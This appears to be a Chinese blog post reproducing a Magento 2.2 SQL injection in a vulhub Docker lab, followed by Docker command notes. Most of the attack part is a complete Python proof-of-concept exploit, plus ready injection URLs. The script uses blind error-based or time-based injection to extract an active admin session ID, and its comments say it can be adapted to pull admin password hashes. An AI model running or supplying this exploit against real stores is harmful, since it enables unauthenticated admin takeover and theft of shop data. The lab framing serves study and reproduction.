Magento 2.2 SQL注入漏洞

声明

好好学习,天天向上

漏洞描述

Magento(麦进斗)是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。设计得非常灵活,具有模块化架构体系和丰富的功能。

其prepareSqlCondition函数存在一处二次格式化字符串的bug,导致引入了非预期的单引号,造成SQL注入漏洞。

影响范围

2.2.*

复现过程

这里使用2.2.7版本

使用vulhub

/app/vulhub-master/magento/2.2-sqli

使用docker启动

docker-compose build
docker-compose up -d

环境启动后,访问

http://192.168.239.129:8080

即可看到Magento的安装页面。安装Magento时,数据库地址填写mysql,账号密码均为root,其他保持默认:

访问下述两个链接,状态码不通,可知WHERE后的1=1,1=0被执行,BP抓包看

http://192.168.239.129:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-

http://192.168.239.129:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-

POC,mangento.py,内容如下

#!/usr/bin/env python3
# Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi
# Charles Fol
# 2019-03-22
#
# SOURCE & SINK
# The sink (from-to SQL condition) has been present from Magento 1.x onwards.
# The source (/catalog/product_frontend_action/synchronize) from 2.2.0.
# If your target runs Magento < 2.2.0, you need to find another source.
#
# SQL INJECTION
# The exploit can easily be modified to obtain other stuff from the DB, for
# instance admin/user password hashes.
#

import requests
import string
import binascii
import re
import random
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def run(url):
    sqli = SQLInjection(url)

    try:
        sqli.find_test_method()
        sid = sqli.get_most_recent_session()
    except ExploitError as e:
        print('Error: %s' % e)


def random_string(n=8):
    return ''.join(random.choice(string.ascii_letters) for _ in range(n))


class ExploitError(Exception):
    pass


class Browser:
    """Basic browser functionality along w/ URLs and payloads.
    """
    PROXY = None

    def __init__(self, URL):
        self.URL = URL
        self.s = requests.Session()
        self.s.verify = False
        if self.PROXY:
            self.s.proxies = {
                'http': self.PROXY,
                'https': self.PROXY,
            }


class SQLInjection(Browser):
    """SQL injection stuff.
    """

    def encode(self, string):
        return '0x' + binascii.b2a_hex(string.encode()).decode()

    def find_test_method(self):
        """Tries to inject using an error-based technique, or falls back to timebased.
        """
        for test_method in (self.test_error, self.test_timebased):
            if test_method('123=123') and not test_method('123=124'):
                self.test = test_method
                break
        else:
            raise ExploitError('Test SQL injections failed, not vulnerable ?')

    def test_timebased(self, condition):
        """Runs a test. A valid condition results in a sleep of 1 second.
        """
        payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition
        r = self.s.get(
            self.URL + '/catalog/product_frontend_action/synchronize',
            params={
                'type_id': 'recently_products',
                'ids[0][added_at]': '',
                'ids[0][product_id][from]': '?',
                'ids[0][product_id][to]': payload
            }
        )
        return r.elapsed.total_seconds() > 1

    def test_error(self, condition):
        """Runs a test. An invalid condition results in an SQL error.
        """
        payload = '))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) -- -' % condition
        r = self.s.get(
            self.URL + '/catalog/product_frontend_action/synchronize',
            params={
                'type_id': 'recently_products',
                'ids[0][added_at]': '',
                'ids[0][product_id][from]': '?',
                'ids[0][product_id][to]': payload
            }
        )
        if r.status_code not in (200, 400):
            raise ExploitError(
                'SQL injection does not yield a correct HTTP response'
            )
        return r.status_code == 400

    def word(self, name, sql, size=None, charset=None):
        """Dichotomically obtains a value.
        """
        pattern = 'LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0'
        full = ''

        check = False
        
        if size is None:
            # Yeah whatever
            size_size = self.word(
                name,
                'LENGTH(LENGTH(%s))' % sql,
                size=1,
                charset=string.digits
            )
            size = self.word(
                name,
                'LENGTH(%s)' % sql,
                size=int(size_size),
                charset=string.digits
            )
            size = int(size)

        print("%s: %s" % (name, full), end='\r')

        for p in range(size):
            c = charset
            
            while len(c) > 1:
                middle = len(c) // 2
                h0, h1 = c[:middle], c[middle:]
                condition = pattern % (sql, p+1, self.encode(h0))
                c = h1 if self.test(condition) else h0

            full += c
            print("%s: %s" % (name, full), end='\r')

        print(' ' * len("%s: %s" % (name, full)), end='\r')

        return full

    def get_most_recent_session(self):
        """Grabs the last created session. We don't need special privileges aside from creating a product so any session
        should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the
        backend.
        """
        # This is the default admin session timeout
        session_timeout = 900
        query = (
            'SELECT %%s FROM admin_user_session '
            'WHERE TIMESTAMPDIFF(SECOND, updated_at, NOW()) BETWEEN 0 AND %d '
            'ORDER BY created_at DESC, updated_at DESC LIMIT 1'
        ) % session_timeout

        # Check if a session is available

        available = not self.test('(%s)=0' % (query % 'COUNT(*)'))
        
        if not available:
            raise ExploitError('No session is available')
        print('An admin session is available !')

        # Fetch it

        sid = self.word(
            'Session ID',
            query % 'session_id',
            charset=string.ascii_lowercase + string.digits,
            size=26
        )
        print('Session ID: %s' % sid)
        return sid

run(sys.argv[1])

执行,会一位一位的爆出来sessionID

python3 mangento.py http://192.168.239.129:8080

在这里插入图片描述

关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build
docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值